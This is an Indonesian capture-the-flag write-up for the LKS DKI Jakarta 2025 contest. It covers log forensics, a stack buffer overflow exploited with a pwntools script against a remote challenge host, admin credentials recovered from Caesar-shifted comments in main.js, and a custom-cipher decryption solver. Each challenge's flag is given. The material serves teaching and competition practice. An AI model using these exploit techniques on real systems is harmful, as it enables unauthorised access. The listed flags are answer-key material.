# Write Up LKS Cyber Security Tingkat Provinsi DKI JAKARTA 2025 **Kategori:** Jeopardy --- ## DIGITAL FORENSIC — PiggyBagger Chall ini meminta kita untuk mencari log serangan SQLi dan RFI di web. Langsung aja kita lakukan dengan command **grep** log buat ngitung jumlah kejadian. ```bash grep -i "sql" snort.log | grep -iE ".\asp[x]?" > sqli_aspnet_full.txt wc -l sqli_aspnet_full.txt grep -i "file inclusion" snort.log | grep -iE ".\php[x]?" > rfi_full.txt wc -l rfi_full.txt ``` Hasil: `807` (SQLi) + `204` (RFI) = **1011** **Flag:** `LKS{1011}` --- ## BINARY EXPLOITATION — JJ1 **Ringkasan:** Chall ini memiliki vulnerability dibagian `scanf("%s")` yang dipakai tanpa batasan. Buffer overflow di username bisa kita timpa saved RBP + return address, jadi kita overwrite return address ke `win()`. ### Coba kita analisa: - Username buffer: `rbp-0x20` (32 byte) - Password buffer: `rbp-0x40` (64 byte total stack area alokasi `sub $0x40, %rsp`) - `scanf("%s", ...)` Karena tidak ngecek panjang input maka terjadi **overflow**. ### Payload untuk solve chall ini: - Isi: `b'A' * 40 + p64(WIN_ADDR)` - 32 byte 'A' untuk isi buffer username - 8 byte 'A' untuk nimpain saved RBP - 8 byte alamat `win()` untuk menimpa return address ### Exploit (solve.py) ```python from pwn import * exploit = remote('13.212.62.29', 11101) winaddr = p64(0x401226) payload = flat([ b'A' * 40, winaddr, ]) exploit.recv() exploit.sendline(payload) exploit.recv() exploit.sendline(b'terserahapapundehpasswordnya') exploit.interactive() ``` **Flag:** `LKS{c70da980d0b226bd16d82682b094430f}` --- ## WEB EXPLOITATION — Yes **Ringkesan:** Ini sebenarnya chall basic, ada `main.js` yang nampilin logic enkripsi Caesar-ish (shift), lalu saat kita liat `main.js`, kita akan menemukan username/password terenkripsi, jadi tinggal kita balik dekripsinya, login ke `/admin/login.php` dan ambil flag. ### `main.js` ```js // Main JavaScript file for SecureApp // function encrypt(text, shift) { // let result = ''; // for (let i = 0; i < text.length; i++) { // let char = text.charCodeAt(i); // // Handle uppercase letters // if (char >= 65 && char <= 90) { // result += String.fromCharCode(((char - 65 + shift) % 26) + 65); // } // // Handle lowercase letters // else if (char >= 97 && char <= 122) { // result += String.fromCharCode(((char - 97 + shift) % 26) + 97); // } // // Handle numbers // else if (char >= 48 && char <= 57) { // result += String.fromCharCode(((char - 48 + shift) % 10) + 48); // } // // Handle special characters // else { // result += text.charAt(i); // } // } // return result; // } // Backup Admin credentials (encrypted) // Username: hktpu // Password: 875j414231k8mi18593kij01l4h3290l // Console log for curious users console.log("Welcome to SecureApp!"); console.log("Remember to check our security features."); // Add event listeners when DOM is loaded document.addEventListener('DOMContentLoaded', function() { // Add any interactive features here const dummyFeature = document.querySelector('.dummy-feature'); if (dummyFeature) { dummyFeature.addEventListener('click', function() { console.log("Interesting... looking for something?"); console.log("Our admin system uses advanced encryption."); console.log("Only those who understand our encryption can access it."); }); } }); ``` ### Script dekripsi (decrypt.js) ```js function decrypt(text, shift) { let result = ""; for (let i = 0; i < text.length; i++) { let char = text.charCodeAt(i); let decryptedChar; if (char >= 65 && char <= 90) { decryptedChar = String.fromCharCode( ((((char - 65 - shift) % 26) + 26) % 26) + 65 ); } else if (char >= 97 && char <= 122) { decryptedChar = String.fromCharCode( ((((char - 97 - shift) % 26) + 26) % 26) + 97 ); } else if (char >= 48 && char <= 57) { decryptedChar = String.fromCharCode( ((((char - 48 - shift) % 10) + 10) % 10) + 48 ); } else { decryptedChar = text.charAt(i); } result += decryptedChar; } return result; } const encryptedUsername = "hktpu"; const encryptedPassword = "875j414231k8mi18593kij01l4h3290l"; for (let s = 0; s < 26; s++) { const decryptedUsername = decrypt(encryptedUsername, s); const decryptedPassword = decrypt(encryptedPassword, s); if (decryptedUsername === "admin") { console.log("Username: " + decryptedUsername); console.log("Password: " + decryptedPassword); console.log("Shift: " + s); break; } } } ``` Kita tes shift dari `0..25` sampai ketemu `username === "admin"`. Setelah dapat credential, login ke `/admin/login.php` dan dapatkan flagnya. **Flag:** `LKS{8fe9bb2f776048191539eb236fb442aa}` --- ## REVERSE ENGINEERING — Nimberbolts **Ringkasan:** Ini sebenarnya agak susah ya, banyak fungsi, expandKey, transform, ROL/ROR, dan loop 12 ronde. Intinya kita akan menemukan 4 DWORD key pas breakpoint pake gdb, terus kita pake script Python buat nge-decrypt ciphertext target. ### Hasil Analisa: - `expandKey__chall_32` : berfungsi untuk nge-generate array S, mixing 78 ronde, lalu kita ambil 4 DWORD pertama sebagai KEYs. - Cipher: blok 8-byte, 12 ronde, operasi rotasi & XOR & pengurangan konstanta. ![Gambar1](https://hackmd.io/_uploads/rJq8GAyEZl.png) ### Key yang didapat ``` KEY_V44 = 0xe808da40 KEY_V43 = 0x1b6d1834 KEY_V14 = 0x0899ad31 KEY_V15 = 0xdbc6d939 ``` ### Solver : ```python import ctypes def ROL32(val, shift): shift &= 0x1F val = ctypes.c_uint32(val).value return ctypes.c_uint32((val << shift) | (val >> (32 - shift))).value def ROR32(val, shift): shift &= 0x1F val = ctypes.c_uint32(val).value return ctypes.c_uint32((val >> shift) | (val << (32 - shift))).value KEY_V44 = 0xe808da40 KEY_V43 = 0x1b6d1834 KEY_V14 = 0x0899ad31 KEY_V15 = 0xdbc6d939 target_hex_string = "EECDAF3793599828D33C2B8CA183C6DDCECA1E65DC899A601BF3BB0E885F25DD" target_ciphertext_bytes = bytes.fromhex(target_hex_string) decrypted_flag_bytes = bytearray() num_blocks = len(target_ciphertext_bytes) // 8 for block_num in range(num_blocks): offset = block_num * 8 O1_final = int.from_bytes(target_ciphertext_bytes[offset : offset+4], 'little') O2_final = int.from_bytes(target_ciphertext_bytes[offset+4 : offset+8], 'little') current_v19 = ctypes.c_uint32(O1_final).value current_v20 = ctypes.c_uint32(O2_final).value for _ in range(12): # 12 rounds val_to_ror_for_v20 = ctypes.c_uint32(current_v20 - KEY_V15).value rotated_val_for_v20 = ROR32(val_to_ror_for_v20, current_v19 & 0x1F) v20_curr = ctypes.c_uint32(rotated_val_for_v20 ^ current_v19).value val_to_ror_for_v19 = ctypes.c_uint32(current_v19 - KEY_V14).value rotated_val_for_v19 = ROR32(val_to_ror_for_v19, v20_curr & 0x1F) v19_curr = ctypes.c_uint32(rotated_val_for_v19 ^ v20_curr).value current_v19 = v19_curr current_v20 = v20_curr user_dword0_transformed = ctypes.c_uint32(current_v19 - KEY_V44).value user_dword1_transformed = ctypes.c_uint32(current_v20 - KEY_V43).value decrypted_flag_bytes.extend(user_dword0_transformed.to_bytes(4, 'little')) decrypted_flag_bytes.extend(user_dword1_transformed.to_bytes(4, 'little')) print(decrypted_flag_bytes.decode('ascii')) ``` **Flag:** `LKS{u_are_a_N1m_3v3r$er5!!!}` --- ## Penutup Writeup ini dibuat untuk menyemangati kalian yang berpartisipasi diajang LKS nanti, jadikan hal baru yaaaa :> JANGAN LUPA MAINNN CTF!!!